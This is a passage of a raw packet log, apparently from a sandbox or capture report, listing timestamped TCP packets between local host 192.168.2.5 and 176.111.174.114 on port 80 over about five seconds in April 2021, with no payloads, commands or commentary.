Apr 28, 2021 23:25:58.032803059 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.033010960 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.033026934 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.033041954 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.034548044 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.034828901 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.052037954 CEST	80	50570	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.052239895 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.052927971 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.053957939 CEST	80	50569	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.054126978 CEST	50569	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.137489080 CEST	80	50568	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.137662888 CEST	50568	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.150888920 CEST	80	50570	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.154643059 CEST	80	50570	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.154970884 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.265670061 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.269511938 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.363238096 CEST	80	50572	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.363264084 CEST	80	50570	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.363502979 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.363626957 CEST	50570	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.374485970 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.467902899 CEST	80	50572	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.471875906 CEST	80	50572	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.472120047 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.578516960 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.580123901 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.671735048 CEST	80	50572	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.671900034 CEST	50572	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.678121090 CEST	80	50573	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.678334951 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.679585934 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.777709961 CEST	80	50573	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.781306982 CEST	80	50573	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.781518936 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.890789032 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.893512964 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.988611937 CEST	80	50573	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.988744020 CEST	50573	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.993242979 CEST	80	50574	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:58.993535995 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:58.994098902 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.093727112 CEST	80	50574	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.097742081 CEST	80	50574	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.097913027 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.203218937 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.204657078 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.299649000 CEST	80	50576	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.299885988 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.300594091 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.302711010 CEST	80	50574	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.302846909 CEST	50574	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.395543098 CEST	80	50576	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.400032043 CEST	80	50576	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.400315046 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.521687031 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.523231030 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.617604017 CEST	80	50576	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.617716074 CEST	50576	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.618345022 CEST	80	50577	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.618443966 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.618963957 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.716363907 CEST	80	50577	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.719907045 CEST	80	50577	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.720035076 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.827617884 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.829001904 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.923953056 CEST	80	50577	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.924074888 CEST	50577	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.924715996 CEST	80	50578	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:59.924809933 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:59.925456047 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.021122932 CEST	80	50578	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.023233891 CEST	80	50578	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.024734974 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.140280962 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.141768932 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.238766909 CEST	80	50578	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.238878012 CEST	50578	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.241779089 CEST	80	50579	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.242042065 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.243937969 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.337903976 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.341522932 CEST	80	50579	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.344948053 CEST	80	50579	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.345056057 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.438719988 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.439027071 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.439353943 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.453480959 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.455020905 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.538419008 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.538453102 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.538496971 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.538583994 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.538619995 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.538863897 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.538880110 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.538964987 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.539367914 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.539424896 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.539460897 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.539505959 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.539861917 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.539968967 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.540098906 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.540205002 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.540446043 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.540560961 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.550894022 CEST	80	50579	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.550921917 CEST	80	50581	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.551028013 CEST	50579	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.551107883 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.551781893 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.639372110 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639441967 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639460087 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639475107 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639588118 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.639625072 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.639678001 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639697075 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.639781952 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.640351057 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640371084 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640384912 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640448093 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.640475988 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.640779972 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640805006 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640822887 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.640877962 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.640923977 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.648982048 CEST	80	50581	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.651896000 CEST	80	50581	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.652059078 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.738528967 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.738555908 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.738739967 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.738888979 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.738903999 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.738922119 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739043951 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.739105940 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739121914 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739232063 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.739392996 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739408970 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739465952 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.739528894 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739542007 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.739614964 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.740041018 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.740056038 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.740068913 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.740151882 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.765357971 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.767148972 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.839137077 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.839163065 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.839171886 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.839746952 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.839828968 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.839840889 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.840318918 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.840331078 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.840627909 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.840640068 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.840998888 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.841016054 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.841156960 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.841170073 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.841837883 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.841852903 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.842076063 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.842087030 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.842097044 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.846816063 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.848536968 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.862974882 CEST	80	50581	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.863086939 CEST	50581	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.865608931 CEST	80	50582	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.865703106 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.866391897 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.949578047 CEST	80	50580	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.949738026 CEST	50580	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:00.963905096 CEST	80	50582	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.968363047 CEST	80	50582	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:00.968451977 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.078123093 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.079778910 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.173546076 CEST	80	50582	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.173737049 CEST	50582	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.177786112 CEST	80	50584	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.178069115 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.179282904 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.276974916 CEST	80	50584	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.280354023 CEST	80	50584	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.280459881 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.390964985 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.392488003 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.489587069 CEST	80	50584	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.489605904 CEST	80	50585	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.489793062 CEST	50584	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.490044117 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.491475105 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.588563919 CEST	80	50585	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.593085051 CEST	80	50585	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.593252897 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.703414917 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.706680059 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.800662994 CEST	80	50585	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.800803900 CEST	50585	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.802628040 CEST	80	50586	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.802762032 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.803550959 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:01.899543047 CEST	80	50586	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.906270027 CEST	80	50586	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:01.906413078 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.020560980 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.021962881 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.116997957 CEST	80	50586	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.117217064 CEST	50586	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.121597052 CEST	80	50588	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.121731997 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.122468948 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.221945047 CEST	80	50588	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.226939917 CEST	80	50588	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.227154970 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.343770027 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.345483065 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.444926023 CEST	80	50588	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.445005894 CEST	50588	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.447643995 CEST	80	50589	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.447799921 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.448453903 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.549515009 CEST	80	50589	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.552692890 CEST	80	50589	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.552778959 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.656414986 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.657468081 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.753350019 CEST	80	50590	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.753474951 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.754000902 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.757049084 CEST	80	50589	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.757155895 CEST	50589	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.849834919 CEST	80	50590	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.857582092 CEST	80	50590	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:02.857673883 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.968846083 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:02.969919920 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.065512896 CEST	80	50590	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.065673113 CEST	50590	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.067738056 CEST	80	50591	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.067833900 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.068797112 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.167011976 CEST	80	50591	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.175781012 CEST	80	50591	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.175976992 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.182677031 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.280921936 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.281081915 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.281483889 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.281960964 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.292144060 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.379010916 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.379040003 CEST	80	50591	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.379079103 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.379136086 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.379193068 CEST	50591	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.379228115 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.379754066 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.379769087 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.379834890 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.379909992 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.380177021 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.380188942 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.380239010 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.380286932 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.380660057 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.380671978 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.380727053 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.380779982 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.380975008 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.380986929 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.381038904 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.381078959 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.386245012 CEST	80	50593	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.386358023 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.387087107 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.478589058 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.478626966 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.478714943 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.478739023 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.478763103 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.478924990 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.478991032 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479249001 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479291916 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479317904 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479340076 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479356050 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479427099 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479494095 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479552031 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479655027 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479693890 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479744911 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479808092 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.479919910 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.479974031 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.480027914 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.480078936 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.481535912 CEST	80	50593	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.489554882 CEST	80	50593	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.489682913 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.576316118 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.576864004 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.576880932 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577034950 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.577178001 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577339888 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.577456951 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577605963 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577616930 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577624083 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.577678919 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.577703953 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578006029 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578032017 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578038931 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578044891 CEST	80	50592	176.111.174.114	192.168.2.5
